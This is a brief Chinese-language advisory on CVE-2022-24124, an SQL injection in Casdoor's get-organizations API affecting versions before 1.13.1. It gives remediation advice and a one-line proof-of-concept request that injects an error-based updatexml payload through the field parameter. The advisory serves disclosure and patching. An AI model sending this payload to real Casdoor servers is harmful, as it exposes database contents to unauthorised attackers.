Casdoor get-organizations SQL注入漏洞 CVE-2022-24124

漏洞描述：

Casdoor 是一个基于 OAuth 2.0 / OIDC 的中心化的单点登录（SSO）身份验证平台，简单来说，就是 Casdoor可以帮你解决用户管理的难题，你无需开发用户登录、注册等与用户鉴权相关的一系列功能，只需几个步骤进行简单配置，与你的主应用配合，便可完全托管你的用户模块，简单省心，功能强大。Casdoor目前作为 Casbin 社区项目统一使用的鉴权平台，并且项目已开源。。

漏洞利用条件:

在查询API 存在与字段和值参数相关的SQL 注入漏洞，未经授权的攻击者可以利用该漏洞获取数据库敏感信息。如api/get-organizations

漏洞影响范围：

Casdoor < Casdoor 1.13.1

漏洞复现：

poc：

/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)

 

 

修复建议：

1、升级官方最新安全版本。

2、加强对用户输入信息进行验证和过滤，在具体检查输入或提交的变量时，对于括号、冒号等危险字符进行转换或者过滤。